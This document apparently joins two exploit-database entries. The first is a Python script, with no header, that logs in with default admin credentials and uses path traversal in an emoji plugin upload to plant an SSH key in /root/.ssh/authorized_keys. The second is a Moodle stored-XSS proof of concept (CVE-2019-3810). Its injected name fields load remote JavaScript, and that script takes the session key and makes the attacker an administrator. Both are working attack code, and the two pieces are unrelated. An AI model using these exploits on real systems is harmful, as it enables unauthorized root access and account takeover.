TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
    print('[!] Error, {}/login unavailable'.format(TARGET))
    sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
    print('[!] Could not extract csrf token to proceed.')
    sys.exit(1)
auth = {
    'username': USERNAME,
    'password': PASSWORD,
    '_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
    print('[!] Error, login failed')
    print('[!] Status: {}'.format(r.status_code))
    print('[!] Response: {}'.format(r.text))
    sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
    print('[!] Error, could not access emoji plugin')
    print('[!] Status: {}'.format(r.status_code))
    print('[!] Response: {}'.format(r.text))
    sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
    'emojiImage': open(SOURCE_FILE)
}
data = {
    'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
    print('[!] Error, could not upload file')
    print('[!] Status: {}'.format(r.status_code))
    print('[!] Response: {}'.format(r.text))
    sys.exit(1)
print('[+] Successfully uploaded file')
            
# Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
# Date: 04/2021
# Exploit Author: farisv
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip
# Version: Moodle < 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16
# CVE: CVE-2019-3810

Moodle is a learning platform designed to provide educators, administrators,
and learners with a single robust, secure and integrated system to create
personalised learning environments.

The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for
privilege escalation from student to administrator.

1. Upload the XSS payload [1] to pastebin or other similar service.
   Change the value of userid to your own id.
   Let's say the URL is https://pastebin.com/raw/xxxxxxxx.
2. Login to your student account.
3. Set first name with:
   " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
4. Set surname with:
  ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
5. Ask the administrator to open /userpix/ page or put the link to that page
   on your post and wait.

If successful, your account will be added as administrator.

See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810

[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.

var webroot = '/';
var userid = '3';
var sesskey = '';

function get(path, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.send();
    return xhr;
}

function post(path, data, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(encodeURI(data));
    return xhr;
}

function setAdmin() {
    // Assign administrator access to userid
    bpath = 'admin/roles/admins.php';
    data = "confirmadd=" + userid + "&sesskey=" + sesskey;
    post(bpath, data, function(data){});
}

function getSesskey(data) {
    var sesskey_find = data.indexOf('"sesskey":"');
    sesskey = data.substr(sesskey_find + 11, 10);
    setAdmin();
}

function payload() {
    // We can find Sesskey inside JS script in main page
    get('', getSesskey);
}

// Start
payload();